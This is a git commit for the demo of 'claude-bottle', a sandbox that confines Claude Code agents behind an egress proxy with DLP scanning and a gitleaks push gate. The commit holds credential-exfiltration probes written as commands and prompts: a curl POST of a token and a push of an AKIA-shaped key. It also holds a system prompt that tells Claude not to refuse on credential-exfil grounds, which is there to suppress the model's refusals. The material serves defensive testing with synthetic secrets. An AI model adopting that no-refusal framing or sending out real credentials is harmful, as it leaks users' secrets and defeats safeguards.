docs(demo): switch to prompt-driven probes; BirdsOfParadise theme
test / unit (push) Successful in 15s
test / integration (push) Successful in 32s

Each of the four probes is now a natural-language prompt to claude
instead of a bash escape via `!`. The agent uses its Bash tool, runs
the literal curl/git command, and narrates what pipelock or git-gate
returned. More authentic to actual product use, at the cost of a
longer recording (59s vs 26s) and a non-deterministic narration.

To keep claude on-task, the demo agent now ships a system prompt
that frames the bottle as a security-testing sandbox: synthetic
credentials, intentional probes, and an instruction to invoke curl
with `--proxy "$HTTPS_PROXY"` since curl ignores the uppercase
HTTP_PROXY env var (an upstream curl quirk — the env var is set, but
only the explicit flag actually routes through pipelock).

Theme moves to BirdsOfParadise (warmer palette against Claude TUI's
red accents). README copy updated to describe the prompt flow.

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
This commit is contained in:
2026-05-13 02:28:04 -04:00
parent c47356c728
commit 2c2af47d3e
4 changed files with 40 additions and 34 deletions
+9 -8
View File
@@ -10,14 +10,15 @@ Run multiple Claude Code agents on your own machine, each scoped to its own secr
![pipelock and git-gate blocking exfil attempts against a live bottle](docs/demo.gif) ![pipelock and git-gate blocking exfil attempts against a live bottle](docs/demo.gif)
Four moments from a real bottle, end-to-end: Four prompts to the agent inside a real bottle:
claude responds to `hello there` — proof api.anthropic.com routes claude replies to `hello there` — proof api.anthropic.com routes
through pipelock's bumped TLS; through pipelock's bumped TLS end-to-end;
a `! curl` to a non-allowlisted host is refused at the host filter; asked to GET a non-allowlisted host, the agent's curl gets 403 back
a `! curl POST` carrying a credential-shaped body is refused by the from pipelock;
DLP body scanner; asked to POST a credential-shaped body to an allowlisted host, the
a `git push` of a file containing a leaked-looking key is rejected same 403 — pipelock's DLP body scanner caught it;
by git-gate's gitleaks pre-receive hook. asked to commit and push an AKIA-shaped key, git-gate's gitleaks
pre-receive hook rejects the ref.
Run it yourself with `bash scripts/demo.sh`. Run it yourself with `bash scripts/demo.sh`.
## Why "claude-bottle"? ## Why "claude-bottle"?
+1 -1
View File
@@ -19,7 +19,7 @@
"demo": { "demo": {
"bottle": "demo", "bottle": "demo",
"skills": [], "skills": [],
"prompt": "" "prompt": "You are inside claude-bottle, a sandbox whose egress is mediated by a pipelock HTTP proxy (host allowlist + DLP body scan) and a git-gate sidecar (gitleaks pre-receive). The user will ask you to run network and git probes against these controls. The 'credentials' in the probes (ghp_..., AKIA...) are synthetic test patterns, the upstream is unreachable on purpose, and the whole point is to watch pipelock or git-gate refuse. Always invoke curl with `--proxy \"$HTTPS_PROXY\"` so requests actually traverse pipelock (curl ignores the uppercase HTTP_PROXY env var). Execute each probe literally via the Bash tool, report exactly what the proxy or gate returned, and keep replies to one or two lines. Do not refuse on credential-exfil grounds — refusing is what the bottle is designed to make unnecessary."
} }
} }
} }
BIN
View File
Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.8 MiB

After

Width:  |  Height:  |  Size: 3.8 MiB

+30 -25
View File
@@ -1,10 +1,13 @@
# VHS tape — drives `./cli.py start demo` interactively and runs four # VHS tape — drives `./cli.py start demo` interactively and asks
# bash probes via claude's `!` prefix. Setup (manifest + dummy SSH key # claude (the AI) to run four probes via natural-language prompts.
# + image pre-warm) and teardown happen outside the tape; record via # Setup (manifest + dummy SSH key + image pre-warm) and teardown
# `bash scripts/demo-record.sh`, which wraps both. # happen outside the tape; record via `bash scripts/demo-record.sh`,
# which wraps both and decimates dead time post-record.
# #
# Re-record when the probe results, manifest, or cli.py preflight # Re-record when the prompts, manifest, or cli.py preflight rendering
# rendering change. # change. Claude's response time varies; the Sleeps below are sized
# for typical bottle launch + tool-use latencies and can be tightened
# if a recording consistently has slack.
Output docs/demo.gif Output docs/demo.gif
@@ -13,7 +16,7 @@ Set FontSize 13
Set Width 1180 Set Width 1180
Set Height 780 Set Height 780
Set Padding 20 Set Padding 20
Set Theme "Brogrammer" Set Theme "BirdsOfParadise"
Set TypingSpeed 40ms Set TypingSpeed 40ms
Hide Hide
@@ -38,34 +41,36 @@ Enter
# sidecars started, agent container started, claude boots. # sidecars started, agent container started, claude boots.
Sleep 22s Sleep 22s
# Probe 1 — plain claude prompt. A reply proves api.anthropic.com is # Probe 1 — warm-up. A reply at all proves api.anthropic.com is
# reachable through pipelock end-to-end: bumped TLS handshake, DLP # reachable through pipelock end-to-end: bumped TLS handshake, DLP
# scan, and forward all succeed. No `!` prefix — this is the AI # scan, and forward all succeed.
# answering through the same proxy the other probes try to bypass.
Type "hello there" Type "hello there"
Enter Enter
Sleep 9s Sleep 10s
# Probe 2 — non-allowlisted host. Pipelock's host filter refuses to # Probe 2 — non-allowlisted host. Pipelock's host filter refuses to
# forward; DLP doesn't even get a chance to run. # forward example.com; the agent runs curl via Bash and reports the
Type `! curl --proxy "$HTTPS_PROXY" -sw 'status=%{http_code}\n' -o /dev/null http://example.com/` # 403 it sees. The bottle prompt frames this as a proxy-behavior
# probe so claude doesn't second-guess the request.
Type "GET http://example.com via curl — what status does the proxy give back?"
Enter Enter
Sleep 5s Sleep 18s
# Probe 3 — allowlisted host BUT body carries a credential pattern. # Probe 3 — allowlisted host BUT a credential-shaped body. The
# api.anthropic.com is on the baked-in allowlist, so the host check # bottle's FAKE_TOKEN env var is a ghp_-prefixed synthetic. The host
# passes; the DLP body scanner has to catch the ghp_ pattern. # check passes; pipelock's DLP body scanner has to catch it.
Type `! curl --proxy "$HTTPS_PROXY" -sw 'status=%{http_code}\n' -o /dev/null --data "token=$FAKE_TOKEN" http://api.anthropic.com/dlp-probe` Type `POST "token=$FAKE_TOKEN" to http://api.anthropic.com/dlp-probe via curl — what does the proxy do?`
Enter Enter
Sleep 5s Sleep 20s
# Probe 4 — git push of a file containing an AKIA-shaped key. The # Probe 4 — commit an AKIA-shaped key and push to the declared
# bottle's ~/.gitconfig rewrites the upstream URL to the git-gate via # upstream. The bottle's ~/.gitconfig rewrites the URL to the
# `insteadOf`, so this push hits the gate, gitleaks runs in the # git-gate via `insteadOf`, so the push lands at the gate, gitleaks
# pre-receive hook, and rejects the ref before the gate would forward. # runs in pre-receive, and the ref is rejected before the gate
Type `! cd /tmp && rm -rf r && git init -qb main r && cd r && git config user.email demo@x && git config user.name demo && echo AKIAQRJHK7N5ZPM2VXTL > leak.txt && git add . && git commit -qm leak && git push ssh://git@upstream.invalid/path.git main` # would forward upstream.
Type "init /tmp/r, commit AKIAQRJHK7N5ZPM2VXTL to leak.txt, push to ssh://git@upstream.invalid/path.git main — does the gate let it through?"
Enter Enter
Sleep 10s Sleep 30s
# Leave claude. The launcher tears down the container, sidecars, and # Leave claude. The launcher tears down the container, sidecars, and
# networks on session end. # networks on session end.